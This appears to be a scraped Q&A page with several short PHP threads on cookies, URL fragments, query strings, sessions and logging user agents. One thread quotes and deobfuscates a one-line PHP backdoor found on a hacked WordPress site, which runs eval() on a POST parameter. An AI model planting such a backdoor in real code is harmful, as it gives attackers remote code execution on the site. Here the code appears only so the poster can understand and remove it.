This question already has answers here:
Javascript getCookie functions
(5 answers)
Closed 9 years ago.
Is it possible to set/get cookies between php and javascript?
I tried two cases:
setCookie on Javascript, and then getCookie on PHP, it works
setCookie on PHP, and getCookie on Javascript, then it failed, always return null.
I am wondering if it is supposed to work in this way?
I think the issue was, my php folder is under a different directory apart from html page.
I went through the php documentation about cookies, and found out that Cookies can be saved for specific page which is depending on the path you specified.
What I did changed right now is specify the path as '/', so the cookie will be available for all pages:
setcookie($GLOBAL_COOKIE_KEY_CREATED_CV_THEME_ID, $param_themeId, time()+$GLOBAL_COOKIE_EXPIREDAYS, '/');
Ref: http://us.php.net/setcookie
Hope this could help, but if someone found it's wrong, please comment, thanks.
Related
This question already has answers here:
Why is the hash part of the URL not available on the server side?
(4 answers)
Closed 4 years ago.
Why does $_GET deliver different results if I call an URL with an anchor compared to without?
example:
https://www.myurl.com/#anchor?param1=x¶m2=y
if I read the GET params, REQUEST, $_SERVER['QUERY_STRING'], parse_url($url, PHP_URL_QUERY)
all are emtpy
but with
https://www.myurl.com/?param1=x¶m2=y
everything works as expected.
Can anyone explain me this please?
Basically the hash component of the page URL (the part following the # sign) is processed by the browser only - the browser never passes it to the server. This sadly is part of the HTML standard and is the same whether or not you are using IE or any other browser (and for that matter PHP or any other server side technology).
Check the explanation from here.
Anchors go at the end, hence the name. :)
https://www.myurl.com/?param1=x¶m2=y#anchor
This question already has answers here:
What is the "?" symbol in URL used for in php?
(7 answers)
What the meaning of "?" in the PHP URL [duplicate]
(7 answers)
Closed 4 years ago.
I have the following problem:
I use a template page for a specific application, and for the login through "steam" there is a button. The button refers to a php file, and in the php file you can find the following line of code:
<a href="?login"><div id="sign-in-steam" style="margin-left: 74px;color: black;">
What does the "?login" exactly mean, I know it stands for a file but I cant find a file named like that, can anyone help me out?
The part behind the question mark in any URL is the Query String as per RFC 3986 section 3.4 and hence is not a PHP functionality (even though PHP can read it, see PHP $_SERVER superglobal docs, especially $_SERVER['QUERY_STRING']).
The hyper reference
?login
refers to the web-apps main page, which gets called using the parameter login a a GET parameter.
Quite likely, this would call the same script equivalently:
index.php?login
This question already has an answer here:
What Does This PHP Code Do? [closed]
(1 answer)
Closed 7 years ago.
I have a wordpress site and it was infected with malware I think. I have found this bit of php code in my files
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q140b2c'])){eval(${$s20}['q140b2c']);}
What does it do?
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);
$s20 evaluates to _POST
if(isset(${$s20}['q140b2c'])){
eval(${$s20}['q140b2c']);
}
becomes
isset($_POST['q140b2c'])
eval then evaluates whatever is in that post
eval($_POST['q140b2c']);
I face same issue with one of my previous website hack. Same code as above. They are going to put code this code in .php file before start of PHP tag.
So it will hold the execution of PHP site.
To solve download all code & search in file & remove. Then your site works ok.
This question already has answers here:
pass value from page to another in PHP
(3 answers)
Closed 8 years ago.
i have a variable for displaying a msg at the end of a procces,
and that procces in includeed in different page , i wanted to manipulate that variable in the other page(the one i included the procces in it)
the problem is that the variable is intitiated at the beggining of the procces page,
so whenever i use that page , the variable will reset.
i tried different ways but nothing worked
it just output the value i assign it in the procces page
i tried making it global and modifying it but didnt work ..
Your PHP page doesn't remember anything at all, not by itself. When someone types your page in their browser, the server executes your script. PHP blindly executes it and doesn't try to remember anything.
Except if you use sessions, or some form of persistent storage such as a database. In your case, you want to use sessions: Take a look.
HTTP is a stateless protocoll and so is PHP: you can't read variables in one page request from the other. You need to use sessions for that, session_start() and $_SESSION.
This question already has answers here:
Closed 11 years ago.
Possible Duplicate:
How can I detect the browser with PHP or JavaScript?
I want to check what browser visitors to my site are using, and then save the results to a file named browser.txt on my server. Any ideas?
Thanks
Why not just install Google Analytics which does that (and an awful lot more) for you (albeit it doesn't store the data on your server)? Alternatively you could just check your server logs, the data should also be in there.
file_put_contents(
__DIR__ . '/browser.txt',
$_SERVER['HTTP_USER_AGENT'],
FILE_APPEND
);
In php you can do this:
get_browser( $_SERVER['HTTP_USER_AGENT']);
it will return an object/array containing all the information you need.
thake a look at PHP get_browser